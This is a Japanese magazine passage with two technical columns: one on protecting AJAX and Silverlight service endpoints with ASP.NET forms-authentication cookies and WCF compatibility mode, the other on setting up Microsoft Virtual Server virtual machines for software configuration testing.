ターゲット サービスの URL または静的 IP アドレスが検出されたら、ハッカーにとって呼び出しを再生するのは比較的たやすいことです。前述のバリアではブラウザ (常に GET を使用するブラウザ) を使用してサービスへのアクセスを防止できますが、方法は他にもあります。どのような方法でしょうか。きわめて単純ですが、彼らはブラウザからサービスへの通信をかぎつけます。そして、すべての詳細が揃ったところで、.NET スマート クライアントを使用して呼び出しを準備します。図 4 は、この点を示す呼び出しです。
図 4 呼び出し用の完全信頼コード
void Button1_Click(object sender, EventArgs e)
{
    string url = "http://contoso.com/services/service.asmx/GetCompletionList";
    WebRequest request = WebRequest.Create(url);
    request.Method = "POST";
    request.ContentType = "application/json";
    Stream stmReq = request.GetRequestStream();
    StreamWriter writer = new StreamWriter(stmReq);
    writer.Write(@"{""prefixText"":""Lon"",""count"":5}");
    writer.Close();

    WebResponse response = request.GetResponse();
    Stream stmResp = response.GetResponseStream();
    StreamReader reader = new StreamReader(stmResp);
    string text = reader.ReadToEnd();

    reader.Close();
    stmResp.Close();
}
コードでは、Windows フォーム アプリケーションの System.Net 名前空間の WebRequest および WebResponse クラスを使用して、直接呼び出しています。アプリケーションが完全な信頼で実行するため、制限は適用されず、URL と呼び出しの詳細があればだれでもリモートでサービスを呼び出すことができます。

AJAX サービス層のセキュリティを実装する
AJAX サービス層を効率的に保護する方法を理解するために、図 3 をもう一度見てください。正規ユーザーおよび部外者という 2 つのユーザー グループが、AJAX サービス層のサービスを呼び出すことができます。正規ユーザーは、ASP.NET AJAX であれ Silverlight 2 であれ標準の Web フロントエンドを介して接続します。部外者は利用できる任意のプラットフォームを使って URL にアクセスしますが、通常はカスタムの完全信頼アプリケーションです。
正規ユーザーからのアクセスを許可し、悪意のあるユーザーを拒否するには、正規ユーザーのみが簡単に指定できる情報を特定する必要があります。図 5 に示すように、その特殊な情報とは認証 Cookie です。
図 5 正規ユーザーはログイン インターフェイスの通過後に接続する (クリックすると拡大画像が表示されます)
重要なのは、機密性を持つサービス メソッドを呼び出す必要のあるすべての機能を、保護されたユーザー インターフェイス要素 (この場合は ASP.NET ページ) に分離することです。この機能を呼び出す必要があるすべてのユーザーが最初にログイン ページを通過するように要求することで、そのユーザーの後続のすべての要求がアプリケーションのメンバシップ システムで発行される認証 Cookie を必ず保持するようにします。
ログイン ページはユーザーから資格情報を取得し、ページの閲覧を承認されたユーザーであるかどうかを検証します。すべてに問題がなければ、要求が承認され、認証 Cookie が生成されて応答にアタッチされます。それ以降は、サービス要求を含め、ユーザーがアプリケーションに対して行う要求で Cookie が保持されます。その結果、AJAX サービス層で呼び出されたサービスは認証 Cookie をチェックして、その要求が正規ユーザーによって行われたものであることを確認します。
ASP.NET AJAX または Silverlight 2 アプリケーションのセキュリティに関する操作を実行するページは、Web サイトの保護領域に配置する必要があります。特殊な領域へのアクセスをフィルタリングするには、web.config ファイルに以下の構成を追加します。
<location path="MembersOnly">
    <system.web>
        <authorization>
            <deny users="?" />
        </authorization>
    </system.web>
</location>
ここでは、MembersOnly フォルダのコンテンツが認証済みのユーザーに制限されています。最後に、認証を有効にする必要があります。この例では、以下のように ASP.NET フォーム認証を有効にしています。
<authentication mode="Forms">
    <forms loginUrl="MembersOnly/login.aspx">
    </forms>
</authentication>
確かに、これは格別に難しいことではありません。
ユーザーがログイン ページを正常に通過すると、有効な認証 Cookie が応答にアタッチされます。この Cookie は期限切れになるまで後続の要求に使用されます。
この方法が ASP.NET AJAX および Silverlight 2 の両方で動作するのは興味深いことです。Silverlight プラグインは、実際には、ブラウザの基となるインフラストラクチャ (これは、プラグインにのみ見えます) に依存してリモート呼び出しを実行します。これにより、認証 Cookie (およびその他の Cookie) が要求に必ず追加されます。

サービスからユーザー情報を取得する
アプリケーションが発行した認証 Cookie は Web サービスまたは WCF サービスに渡されます。しかし、サービスではどのようにしてこの情報にアクセスできるでしょうか。まずは、ASMX Web サービスから見ていきます。
ASMX Web サービスは常に ASP.NET ワーカー プロセスでホストされ、処理中の ASP.NET 要求の HTTP コンテキストにアクセスすることができます。System.Web.Services 名前空間に定義された WebService クラスから Web サービス クラスを派生している場合、クラスは Context プロパティを継承し、Session、Request、Response、そして特に User などの、すべてのプロパティにアクセスすることができます。WebService からのクラスの派生を選択しなかった場合は、HttpContext.Current プロパティを使用して、同じ ASP.NET 組み込みオブジェクトに引き続きアクセスすることができます。いずれの場合も、ASMX Web サービスでは常に ASP.NET 要求コンテキストが使用可能です。
WCF サービスの場合は、状況が異なります。WCF サービスは IIS でのホスティングが可能であり、ASP.NET との side-by-side または互換モードのどちらかになります。既定の構成は ASP.NET との side-by-side です。
WCF サービスの要求を受信する ASP.NET ランタイムは、これらの要求の処理に関与しません。ワーカー プロセス内で WCF ランタイムが受信要求を検出し、WCF スタックを介してこれらの要求を処理します。
ASP.NET と WCF の side-by-side 実行では、いくつかの副作用が生じます。たとえば、SVC リソースに対するアクセス制御リストを定義できません。ここでさらに重要なのは、WCF サービス内からアクセスした場合に HttpContext.Current プロパティで常に null が返される点です。そのため、WCF サービスが ASP.NET ログイン ユーザーに関する情報を取得する手段がありません。
通常は、WCF モデルはホスティング環境や転送メカニズムにかかわらず動作するように設計されています。しかし、AJAX サービス層に対するセキュリティでは、WCF とホスト ASP.NET 環境の間でより厳密な共同作業が要求されます。WCF の ASP.NET 互換モードは、この問題に対処します。
互換モードでの実行中、WCF サービスは ASP.NET 要求のライフサイクルに完全に関与しています。実質的な効果として、WCF サービスは ASMX Web サービスと同じ情報にアクセスします。特に、ファイルベースの承認がサポートされ、さらに重要なことには、HttpContext.Current が正しく設定されます。
互換モードは、アプリケーション レベルで有効にされるグローバル設定です。ただし、個々のサービスでこのモードを拒否または許可できます。互換モードを有効にするには、構成ファイルに以下の行を入力する必要があります。
<system.serviceModel>
  <serviceHostingEnvironment
     aspNetCompatibilityEnabled="true" />
</system.serviceModel>
個々のサービスでは、AspNetCompatibilityRequirements 属性の RequirementsMode プロパティで互換モードのサポートを宣言します。これはコントラクトではなくサービス クラスで設定されます。プロパティの値は Required、Allowed、および NotAllowed です。既定値は NotAllowed であるため、AJAX サービス層のそれぞれの WCF サービスで RequirementsMode プロパティを Allowed または Required のどちらかに変更する必要があります。
[AspNetCompatibilityRequirements(
    RequirementsMode = AspNetCompatibilityRequirementsMode.Required)]
public class TimeService : ITimeService
{
   ﻿:
}
この情報に基づいて、AJAX サービス層内部のサービスの重要なメソッドごとに、ログインしたユーザーの ID をチェックするコードを実行する必要があります。その例を次に示します。
public class TimeService : ITimeService
{
   public DateTime GetTime()
   {
      CheckIdentity();
      ...
   }
}
CheckIdentity 関数は、認証 Cookie によって伝達され、ASP.NET パイプラインによって解決されたユーザーの ID を読み取る任意の関数です。
private void CheckIdentity()
{
  string user = HttpContext.Current.User.Identity.Name;
  if (AuthenticationHelper.VerifyUser(user))
      return;

  throw new InvalidOperationException("Invalid credentials");
}
ここでは、使用可能なユーザー名がない場合、またはユーザー名が承認済みユーザーの一覧に含まれていない場合に、CheckIdentity が例外をスローするように設計されています。メソッドがブール値を返し、サービス メソッドがその後の動作を決定するように実装を変更することも可能です。
このように設計すると、ログイン ページを通過せずにサービスを呼び出す部外者は、認証 Cookie が欠けている HTTP パケットを送信するようになります。結果として、HTTP コンテキストの User オブジェクトが null になり、CheckIdentity が例外をスローします。この方法はどのくらい安全でしょうか。これは、ASP.NET プラットフォームの柱の 1 つであるフォーム認証自体と同様に安全です。部外者に残された唯一の方法は、認証 Cookie を盗んで期限が切れる前に使うことです。
ASMX および WCF サービスは、ASP.NET HTTP コンテキストに格納されている情報を利用します。AJAX サービス層の REST サービスについてはどうでしょうか。Microsoft® .NET Framework 3.5 の WCF Web プログラミング モデルを使って REST サービスを実装した場合は、WCF 互換モードでカバーされます。しかし、単に URL を呼び出し、従来のプレーン XML または JSON (JavaScript Object Notation) データを返してカスタム サービスを作成する場合は、サービス エンドポイントは単に ASP.NET エンドポイントであり、HTTP コンテキストに完全にアクセスできます。

まとめ
AJAX サービス層では、クライアントのプラットフォームにかかわらず、ASP.NET AJAX であれ Silverlight 2 であれ、この記事に示す方法でサービスのセキュリティを保護できます。AJAX サービス層には、リッチ Web クライアントがタスクを完了するために呼び出す必要のあるすべてのパブリック エンドポイントが含まれています。これらのサービスは、アプリケーションが有効な間に不可欠な役割を果たしますが、パブリック エンドポイントです。このため、部外者がこれらのサービスを呼び出すことも可能であり、本質的なセキュリティの危機が生じます。
これらのサービスを保護するため、ユーザーがログイン ページを通過するように要求し、ASP.NET の認証 Cookie を要求にアタッチして後続の要求で使用できるようにすることが可能です。Cookie を使用すると正規ユーザーと部外者を区別できます。パブリック エンドポイントを回避することはできませんが、承認済みユーザーを認識し、それ以外のユーザーからサイトを守る方法が必要です。

ご意見やご感想は、cutting@microsoft.com まででお送りください。

Dino Esposito は、IDesign 社のアーキテクトであり、『プログラミング Microsof ASP.NET 3.5 Core Reference』(日経 BP ソフトプレス、2008 年) の著者です。Dino はイタリアに在住し、世界各国で開催される業界のイベントで頻繁に講演しています。ブログは weblogs.asp.net/despos で読むことができます。


テストの実行
Virtual Server を使用した構成テスト (第 1 部)
Dr. James McCaffrey
目次
Virtual Server をインストールする
バーチャル マシンを作成する
OS をゲスト マシンにインストールする
復元ディスク、差分ディスク、およびバックアップを作成する
テストを実行する
まとめ
今月のコラムでは、Microsoft® Virtual Server を使用したソフトウェア構成テストについて説明します。構成テストは、ハードウェアとソフトウェアをさまざまに組み合わせた環境におけるソフトウェア システムのテストを意味する一般的な用語です。ソフトウェア構成テストの従来の手法では、複数の物理マシンから成るラボをセットアップし、それらのマシンでオペレーティング システム、Web ブラウザ、その他のソフトウェアをさまざまに組み合わせて実行します。これにはコストがかさみ、時間がかかることがあります。さいわいにも、Virtual Server を活用すると、単一の物理マシン上に複数のバーチャル マシンを作成し、各種ソフトウェア構成テストを実行することができます。
同僚との話し合いの中で、Virtual Server を使用した構成テストの手法の多くがあまり知られていないということがわかったため、このプロセスを詳しく解説するコラムを執筆することにしました。今月のコラムは、Virtual Server の使用経験がない初心者を対象としています。
図 1 のスクリーンショットは、Virtual Server を使用した構成テストの主要概念の多くを示しています。この図からは、Windows® 2000 Professional マシンで DLL ファイルのテストが行われていることがわかります。物理マシンで Windows Server® 2008 が実行されています。Virtual Server の用語では、これはホスト マシンと呼ばれます。バックグラウンドでは、そのホスト マシン上で Virtual Server が Windows サービスとして実行されています。Windows 2000 Professional を実行しているバーチャル マシン インスタンスはゲスト マシンと呼ばれ、Web ベースのインターフェイスを使用して管理されます。この例では 1 つのゲスト マシンだけを実行していますが、必要に応じて、複数のゲストをホストで同時に実行することもできます。
図 1 Virtual Server を使用した構成テスト (クリックすると拡大画像が表示されます)
ゲスト マシンでは 3 つのウィンドウ (Windows エクスプローラの 2 つのインスタンスとコマンド シェル) が開かれています。画面上部の Windows エクスプローラ インスタンスは、ホスト マシン上の共有である \\WIN-6IN7WRUV5QY\Public をポイントしています。その下の Windows エクスプローラ インスタンスは、ゲスト上の C:\Tests ディレクトリをポイントしています。このシナリオでは、testHarness.js と testData.txt の 2 つのテスト ファイルをホストからゲストにコピーします。その後、ゲスト上で DLL を実行するシンプルな自動テストを行います。もちろん、ゲスト上ではあらゆる種類の手動/自動テストを実行できます。ここで重要なのは、完全に機能する Windows 2000 マシンをあらゆる種類のソフトウェアのテストに使用できるということです。

Virtual Server をインストールする
Virtual Server は簡単にインストールできますが、構成テストに使用する場合はいくつかの要素を考慮する必要があります。現時点での最新バージョンである Virtual Server 2005 R2 SP1 は、microsoft.com/downloads から無償でダウンロードできます。各バーチャル ゲスト マシンには、プロセッサ リソース、RAM、およびハード ディスクの空き容量が必要です。一般に、ホスト マシン側のこれらのリソースの量は多いに越したことはありません。Virtual Server を構成テストに使用する場合は、多数のバーチャル ハード ドライブを設定することもありますが、通常、一度に実行するバーチャル マシンは 1 つだけです。そのため、大量のディスク容量とある程度の RAM 容量を備えた環境が理想的です。もちろん、それが難しければ、リソースが限られた古いコンピュータを使用してもかまいません。
インストールの問題として若干厄介なのは、ホスト マシンのネットワーク アダプタとネットワーク メンバシップに関係する問題です。完全に独立した Virtual Server マシンを作成することも可能ですが、Virtual Server をソフトウェア構成テストに使用する場合は、バーチャル ゲスト マシンからローカル ネットワーク上の他の物理マシンやインターネットにアクセスできると便利です。これについては後で説明します。
私のお勧めの構成では、2 つのネットワーク アダプタを備えたホスト マシンを使用します。一方のアダプタは純粋にローカル ネットワークに接続し、もう一方のアダプタはインターネットに接続します。個人的な好みの問題ですが、私はホストをローカル ネットワークに接続しますが (これによりファイルをホストに簡単に転送できるようになります)、ローカル ネットワーク ドメインには加えません。ただし、Virtual Server ホスト マシンを Active Directory® ドメインに加えた場合、マシンを管理する際に認証の手間が省けるという利点があります。ホスト マシンがドメインに含まれていない場合は、Windows NT® LAN Manager (NTLM) 認証を使用して繰り返し認証を行う必要があるため、若干面倒です。最後に、Virtual Server ホスト マシンは Virtual Server 関連のアクティビティ専用に使用することを強くお勧めします。
Virtual Server は Web ベースの管理スキームを使用するため、IIS が必要です。したがって、Virtual Server のインストールを開始する前に、ホスト マシンで IIS を有効化および構成する必要があります。ただし、Windows Vista SP1 または Windows Server 2008 を実行しているホストに Virtual Server をインストールすると、Virtual Server のセットアップの一部として IIS が自動的にインストールされます。ホスト マシンを構成し、Virtual Server のインストール ファイル (setup.exe) をダウンロードしたら、インストール プロセスを開始してください。
インストール プロセスの大部分は簡単で、ほとんどのアプリケーション インストーラと同じですが、Virtual Server 初心者の頭を最も悩ませるのが構成ダイアログです。この画面では、Virtual Server 管理 Web サイトのポート番号を指定するように求められます。既定のポートは 1024 です。このポート番号を使用できる場合は、これを使用してください。構成画面では、Virtual Server 管理 Web サイトをユーザー アカウントと Local System アカウントのどちらを使用して実行するかを選択する必要もあります。通常は、既定のユーザー アカウントのオプションを選択しますが、Virtual Server データ (バーチャル ハード ドライブのファイル、バーチャル マシンの構成ファイルなど) の一部または全体を 1 台以上のリモート コンピュータに保存する場合は、Local System のオプションを選択します。これは、Virtual Server サービスを実行しているホスト マシンからそれらのファイルにアクセスできるようにする必要があるためです。
すべてのデータを単一のコンピュータで保管する方が簡単なので、私は可能な限りそのようにしています。外付けハード ドライブの価格が下がってきているため、構成テストに使用するバーチャル マシン向けの優れたストレージ ソリューションとして利用できるようになりました。内蔵型のセカンダリ ハード ドライブや別のコンピュータ上のリモート ストレージの代わりに利用できます。
インストーラには、Windows ファイアウォールの例外を Virtual Server に対して有効にするオプションも表示されます。Virtual Server の Web ベースのリモート管理機能を使用する代わりに、ゲスト マシンでリモート デスクトップ機能を有効にすることもできます。Windows ファイアウォールで例外を有効にすることを忘れないでください。

バーチャル マシンを作成する
Virtual Server を使用して構成テストを実行するには、まず 1 つ以上のバーチャル マシンを作成する必要があります。Virtual Server 管理 Web アプリケーションの GUI インターフェイスを使用する方法が最も簡単です。また、Virtual Server は、任意のスクリプティング ホストを使用した管理タスクの自動化を可能にする COM インターフェイスを公開します。管理 Web ページに移動するには、Internet Explorer® のアドレス バーに「http://machinename:1024/」と入力してください。http://machinename:1024/VirtualServer/VSWebApp.exe で実行されているアプリケーションにリダイレクトされます。また、[スタート] メニューのショートカットから管理 Web ページにアクセスすることもできます。管理ページには、既定では Virtual Server の状態と最近のイベント ログの一覧が表示されます。イベント メッセージを調べて、Virtual Server サービスがバックグラウンドで適切に動作していることを確認してください。
次に、[バーチャル マシン] カテゴリの [作成] リンクをクリックします。図 2 に示す [バーチャル マシンの作成] ページにリダイレクトされます。このページでバーチャル マシンに名前を付けます。場所と名前は、後で使いやすいように配慮して付けることをお勧めします。指定した名前はバーチャル マシンの .vmc 構成ファイルの名前になります。"MyVirtualMachine" という名前を入力した場合は、既定の場所 (Windows Server 2008 の場合は %SystemRoot%\Users\Public\Documents\Shared Virtual Machines\、Windows Server 2003 の場合は %SystemRoot%\Documents and Settings\All Users\Documents\Shared Virtual Machines\) に MyVirtualMachine.vmc という名前のファイルが作成されます。
図 2 バーチャル マシンを作成する (クリックすると拡大画像が表示されます)
私が Virtual Server を使用して構成テストを行う場合は、さまざまなバーチャル マシンと大量のハード ディスク容量を使用するため、既定の場所ではなく、よりシステム ルートに近いディレクトリまたは別のハード ドライブにバーチャル マシンを配置するようにしています。一般に、バーチャル マシンの名前には、ゲスト マシンのオペレーティング システムとゲスト上の主要なソフトウェア コンポーネントの説明を含めることをお勧めします。.vmc バーチャル マシン構成ファイルは XML ベースの読みやすいファイルですが、内容がわかるファイル名を付けておくと複数のバーチャル マシンの管理が一段と容易になります。
バーチャル マシンの作成プロセスでは、ユーザー自らが作成する .vmc ファイルに加えて、ショートカット ファイル (.lnk) が既定の場所 (Windows Server 2008 の場合は %SystemRoot%\Users\All Users\Microsoft\Virtual Server\Virtual Machines\) に作成されます。後から .vmc ファイルの削除によってバーチャル マシンを手動で削除する場合には、.lnk ファイルの存在に注意してください。削除したマシンと同じ名前のバーチャル マシンを新たに作成するときに前の .lnk ファイルが残っていると、マシンが既に存在することを示すエラーが発生します。Web インターフェイスを使用してバーチャル サーバーからバーチャル マシンを削除する場合、実際に削除されるのはショートカット ファイルだけです。そのため、ショートカットを再作成するだけでバーチャル マシンを復元することができます。
バーチャル マシンの名前と場所を指定してから、図 3 に示すようにゲスト マシンの RAM の容量を指定する必要があります。ホストの RAM は、物理ホスト マシンと実行中のすべてのバーチャル ゲスト マシンによって使用されます。そのため、仮にホスト マシンに 2 GB の RAM があり、RAM の容量が 512 MB (1 GB の半分) の 2 つのバーチャル マシンを実行しているとすると、ホストには 1 GB の RAM が残されていることになります (ただし、オーバーヘッドのため、バーチャル マシンごとに容量は約 75 MB 少なくなります)。
図 3 バーチャル ハード ディスクを作成する (クリックすると拡大画像が表示されます)
バーチャル マシンの作成プロセスでは、次に、既存のバーチャル ハード ドライブを使用するか、新しいバーチャル ハード ドライブを作成するかを指定します。構成テストの場合は新しいドライブを作成する必要があるので、[新しいバーチャル ハード ディスクを作成する] オプションを選択します。サイズのフィールドで、バーチャル マシンに必要なメモリの最大容量を指定します。経験から言うと、マシンを構成テストに使用する場合は、通常は 20 GB が妥当です。
ただし、当然のことながら、必要なディスク容量はインストールする必要のあるアプリケーションの種類によって変わってくるため、バーチャル ディスクを作成する前に大まかな見積りを行ってください。ここで指定するサイズは、バーチャル ハード ディスクを拡張できる上限のサイズであり、固定サイズではありません。興味深いことに、物理ホスト マシンに IDE ハード ディスク バスしかなくても、バーチャル ハード ディスクに SCSI バスを指定して、パフォーマンスを高め、ストレージ容量を増やすことができます。構成テストの場合は、通常はパフォーマンスが問題にならないため、バーチャル IDE バスを使用するのが一般的です。
新しいバーチャル マシンの作成プロセスでは、最後にバーチャル ネットワーク アダプタを指定します。既に述べたとおり、私はホスト マシンで 2 つの物理ネットワーク アダプタを使用するようにしています。図 4 のスクリーンショットをよく見ると、4 つのオプション ([未接続]、2 種類の外部ネットワーク オプション、および [内部ネットワーク]) があることがわかります。Virtual Server をインストールするときに、セットアップ プロセスによってホスト コンピュータがスキャンされ、ネットワーク アダプタが検出されます。この例では、インターネットへの接続に使用する 802.11g ワイヤレス アダプタとローカル ネットワークへの接続に使用する有線アダプタがあります。各アダプタ名はかっこで囲まれ、"外部ネットワーク" というテキストの後ろに追加されています。
図 4 バーチャル ネットワーク アダプタ (クリックすると拡大画像が表示されます)
Virtual Server のインストール後に新しいネットワーク アダプタをホスト マシンに追加する場合は、メイン管理 Web ページの [バーチャル ネットワーク] セクションで [作成] オプションをクリックし、使用可能なバーチャル アダプタの一覧にアダプタを追加します。ネットワーク アダプタには、Virtual Server で使用されている名前付け規則と同じ規則に従って名前を付けることをお勧めします。そうすることで、ゲスト マシン上のバーチャル ネットワーク アダプタとホスト マシン上の物理アダプタの対応関係が非常に明確になります。
[未接続] オプションを選択した場合、バーチャル マシンは他のすべてのマシン (ホスト マシンも含む) から完全に切り離され、ファイルをバーチャル マシン間でコピーできなくなります。[内部ネットワーク] オプションを選択した場合、バーチャル マシンはホスト上で実行されている他のバーチャル マシンに接続できるようになりますが、ホスト マシン自体とは接続できません。ホスト上の物理アダプタと関連付けられているバーチャル アダプタのいずれかを選択した場合、バーチャル マシンはホスト マシンに接続し、ホストがそのアダプタを通じてアクセスできる場所すべてにアクセスできるようになります。
構成テストに Virtual Server を使用する場合は、ホスト上の物理アダプタに関連付けられているバーチャル アダプタを選択することをお勧めします。これにより、テストに関連するファイルをバーチャル マシンにコピーしたり、テスト対象のネットワークベース システムまたは Web ベース システム (ASP.NET Web アプリケーションなど) にアクセスしたりできるようになります。また、単にファイルをバーチャル ディスクに展開する必要がある場合は、Virtual Server の vhdmount 機能を使用してバーチャル ハード ディスクをマウントしてください。これにより、ファイルをそのディスクにコピーできるようになります。
バーチャル マシン名、メモリ、ハード ディスク、およびネットワーク アダプタのオプションを設定し終えたら、[作成] ボタンをクリックしてバーチャル マシンを作成します。マシンの [構成] オプションを表示すると、図 5 に示すような現在の設定が表示されます。
図 5 バーチャル マシンの構成の概要 (クリックすると拡大画像が表示されます)

OS をゲスト マシンにインストールする
バーチャル マシンを使用できるようにするには、物理マシンの場合と同じようにオペレーティング システムをインストールする必要があります。Virtual Server の初心者の方がよく誤解されているようですが、オペレーティング システムやランタイムがゲスト マシンからホスト マシンへと何らかの方法で継承されるということはありません。オペレーティング システムをゲストにインストールする方法はいくつかあります。物理ホスト マシンに CD/DVD ドライブがある場合は、オペレーティング システムが収録されている起動可能な CD または DVD をホスト マシンの CD/DVD ドライブに挿入すると、簡単にインストールすることができます。Virtual Server によってゲストと共にバーチャル CD/DVD ドライブが登録されている場合は、バーチャル マシンを起動すると、バーチャル マシンの自動実行機能が実行され、オペレーティング システムのセットアップ プログラムが自動的に起動します。
バーチャル マシンへの OS のインストール プロセスは、物理マシンへの OS のインストール プロセスとほとんど同じです。図 6 で注目すべき点は、Windows XP のセットアップ プログラムが、20 GB のディスク ドライブを備えた物理マシンに OS をインストールしているものと認識していることです。インストール プロセスの開始直後に Internet Explorer の ActiveX® コントロールの領域でマウスをクリックし、バーチャル マシンがマウスおよびキーボード入力を認識できるようにする必要があります。マウスおよびキーボード フォーカスをバーチャル マシンからホスト マシンに戻すには、右の Alt キーを押します。
図 6 オペレーティング システムをゲストにインストールする (クリックすると拡大画像が表示されます)
セットアップ プロセスは通常どおりに進行しますが、物理マシンにインストールする場合よりも若干時間がかかります。オペレーティング システムのファイルをホストの CD/DVD ドライブからゲスト バーチャル マシンにコピーする際に、Virtual Server を必要に応じて動的に拡張し、それらのファイルを格納できるようにする必要があるためです。Virtual Server がバーチャル ディスク ドライブを拡張しているとき、インストール プロセスが停止しているように見えるかもしれませんが、そのまま待機してください。セットアップ プロセスは数分後に再開されます。OS のセットアップ プログラムによってゲスト マシンの名前を指定するように求められたら、マシンの名前が接続先の他のマシンの名前と重複していないことを確認してください。バーチャル マシンがネットワークに接続されている場合、マシン名は、.vmc 構成ファイルに指定した名前ではなく、セットアップ中に指定した名前になります。
ゲストのオペレーティング システムをインストールし終えたら、バーチャル マシン追加機能をゲストにインストールする必要があります。バーチャル マシン追加機能をバーチャル マシンにインストールすると、パフォーマンスと画面の解像度を高めることができます。また、マウス ポインタを動かすだけでゲスト マシンとホスト マシン間でフォーカスを切り替えられるようになります。
バーチャル マシン追加機能をインストールするには、メイン管理 Web ページでバーチャル マシンのアイコンをクリックし、バーチャル マシンを起動します。マシンの状態が [オフ] から [実行中] に更新されたら、アイコンをもう一度クリックし、ゲスト マシンの操作を可能にする ActiveX コントロールが含まれるページに移動します。ゲスト マシンにログオンしたら、管理 Web ページの下部までスクロールし、[Click here to start Virtual Machine Additions setup] (バーチャル マシン追加機能の設定を開始するにはここをクリックしてください) リンクをクリックします。バーチャル マシン追加機能のインストーラ アプリケーションが起動します。

復元ディスク、差分ディスク、およびバックアップを作成する
Virtual Server を構成テストに使用する場合は、復元ディスク、差分ディスク、およびバックアップの作成方法と使用方法を把握しておくと非常に役に立ちます。バーチャル マシンの作成後、マシンに加えた変更は、既定ではマシンのシャットダウン時に .vhd ファイルに保存されます。バーチャル マシンを再起動すると、あらゆる変更内容がバーチャル ハード ディスク ファイルから自動的に読み取られます。これは、Virtual Server をマシンの統合に使用する場合に必要な動作です。
ただし、Virtual Server を構成テストに使用する場合には、必ずしも適切な動作とは言えません。一般に、バーチャル マシン上でテストを行うときは、毎回同じ状態でマシンを起動する必要があります。ゲストに加えられたあらゆる変更を破棄するための方法の 1 つに、ゲストで復元ディスクを有効にする方法があります。復元ディスクを有効にすると、バーチャル マシンの使用中にマシンに加えたあらゆる変更が .vud ファイルに保存されるようになります。Virtual Server の管理ページでは、変更内容を基になる .vhd ファイルにコミットするか、削除するかを選ぶことができます。
復元ディスクを有効にするには、Virtual Server 管理 Web サイトのメイン ページで、[バーチャル マシン] セクションの [構成] をクリックします。次に、[ハード ディスク] をクリックし、[復元ディスクを有効にする] チェック ボックスをオンにします。これで、バーチャル マシンの実行中に管理ページで [バーチャル マシンをオフにし、復元ディスクを適用する] (バーチャル マシンの状態の変化をすべて保持できる)、[バーチャル マシンをオフにし、復元ディスクを破棄する] (変更内容を破棄し、バーチャル マシンの当初の状態を維持できる) など、いくつかのオプションを選択できるようになります。
Virtual Server を構成テストに使用する場合は、ゲストでいくつかのテストを実行した後でマシンをテスト前の状態にリセットできるように、復元ディスクを有効にすることをお勧めします。復元ディスクを使用するとバーチャル マシンの状態を効率的に管理できますが、私自身の経験から、バーチャル マシンの元のバーチャル ディスク ファイル (.vhd) とマシンの構成ファイル (.vmc) のコピーも作成しておくことをお勧めします。この作業は重要です。バーチャル マシンでテストを実行するとき、マシンに生じた問題によって Virtual Server の管理サイトが使用不可能になり、復元ディスクを適切に削除できなくなることがよくあるためです。
差分ディスクは復元ディスクとよく似ています。実質的に、差分ディスクは親バーチャル ハード ディスクの子バーチャル ハード ディスクです。大きな親 .vhd ファイルにはバーチャル マシンの基本的な状態 (通常は特定の環境の OS と主要なソフトウェア) が含まれ、それよりも小さな差分ディスクには親ディスクとの差分だけが含まれます。構成テストでは、通常は差分ディスクを使用してオペレーティング システム (Windows XP SP2 など) のコア .vhd ファイルを作成し、その後でいくつかの子差分ディスク (それぞれに Internet Explorer 6.0、Internet Explorer 7.0 など、異なるバージョンの Web ブラウザが含まれる) を作成します。この方法を使用すると、子の各 .vhd 差分ディスク ファイルは完全な親 .vhd ファイルと比べてごく小さくなるので、ホスト マシンのディスク容量をかなり節約することができます。
差分ディスクを作成するには、メイン管理ページに移動して [バーチャル ディスク] セクションの [作成] をクリックし、[差分バーチャル ハード ディスク] オプションを選択します。表示されるページでは、新しい差分ディスク ファイルの場所と名前のほか、親として扱う既存の .vhd ファイルの場所と名前を指定できます。
差分ディスクの作成後は、子ディスクのみを使用し、親ディスクは使用しないようにしてください。親ディスクが何らかの方法で変更されると、子ディスクを使用できなくなることがあるためです。したがって、差分ディスクを作成する前に、目的の親 .vhd ファイルのバックアップ コピーを作成し、親 .vhd ファイルのファイル アクセス権を読み取り専用に設定し、親 .vhd ファイルを使用するように構成されているバーチャル マシンがないことを確認する必要があります。私は最近まで差分ドライブを好んで使用していましたが、ハード ディスク ドライブの価格が下がってきたため、今では複数の完全な .vhd ファイルを作成するようにしています。

テストを実行する
作成したバーチャル マシンでは、物理マシン上でのテストと同じようにソフトウェアをテストできます。テスト対象のシステムが (ファイル圧縮ユーティリティのように) ローカルで実行されるシステムの場合は、テスト対象のシステムをバーチャル マシンにコピーまたはインストールしてから、自動テスト、手動テスト、またはその両方を実行する必要があります。テスト対象のシステムまたはテスト ファイルをバーチャル マシンにコピーする場合は、バーチャル マシンでのアクセスが可能なマシンからファイルをコピーできます (つまり、バーチャル マシンは、ホスト上の特別な内部ネットワーク アダプタまたは物理アダプタに接続されている必要があります)。
私が過去に使用したことのある手法は、テスト対象のシステムの現在のビルド/イテレーションやテストに関係するファイルを格納するバーチャル ストレージ マシンを作成し、ファイルを内部ネットワーク アダプタを通じてさまざまなバーチャル マシンに転送するというものです。アプリケーション ファイルをコピーする方法として、ファイルを CD/DVD に書き込む方法や、ファイルを ISO イメージに組み込んでそのイメージを Virtual Server にマウントする方法もあります。さらに、Virtual Server に付属している vhdmount.exe ユーティリティを使用してファイルをホストからゲストにコピーすることもできます。その手順については、製品のマニュアルを参照してください。
経験から言うと、Virtual Server は Web アプリケーションの構成テストに特に役立ちます。Web アプリケーションの構成テストを行う場合は、対象の Web ブラウザがインストールされている .vhd ファイルを作成し、関連付けられているバーチャル マシンを実行し、テスト対象の Web アプリケーションをポイントします。シナリオに応じて、インターネット (この場合はホスト マシンがインターネットにアクセスできる必要があります)、イントラネット (ホスト マシンが Web アプリケーションをホストしている Web サーバーにアクセスできる必要があります)、またはその両方を使用して実際の Web アプリケーションをテストする必要があります。ソフトウェア構成テストに Virtual Server のゲスト マシンを使用することには、標準的なあらゆるテスト パラダイムを、物理マシン上でのテストの場合と同じように利用できるという利点もあります。

まとめ
Virtual PC と Virtual Server の 2 つは、マイクロソフトが現在も提供している仮想化システムです。これらは同じコア コード ベースに基づいて構築されているため、多くの類似点があります。これらのアプリケーションは便利で強力な機能を十分備えていますが、次の Microsoft Hyper-V™ システムにはさらに大きな進化を遂げた仮想化テクノロジが搭載されています。Virtual Server と同様に、Hyper-V は完全に自動化できます (Virtual PC は自動化できません)。そのうえ、Hyper-V には幅広い新機能が追加されています。Virtual Server を使用して構成テストを行う際の原則と手法を理解しておけば、Hyper-V を簡単に理解し、スムーズに移行することができます。ただし、Hyper-V は 64 ビット コンピュータでしかサポートされていないため、32 ビット コンピュータを仮想化ホストとして使用する必要がある場合は、引き続き Virtual Server を使用してください。
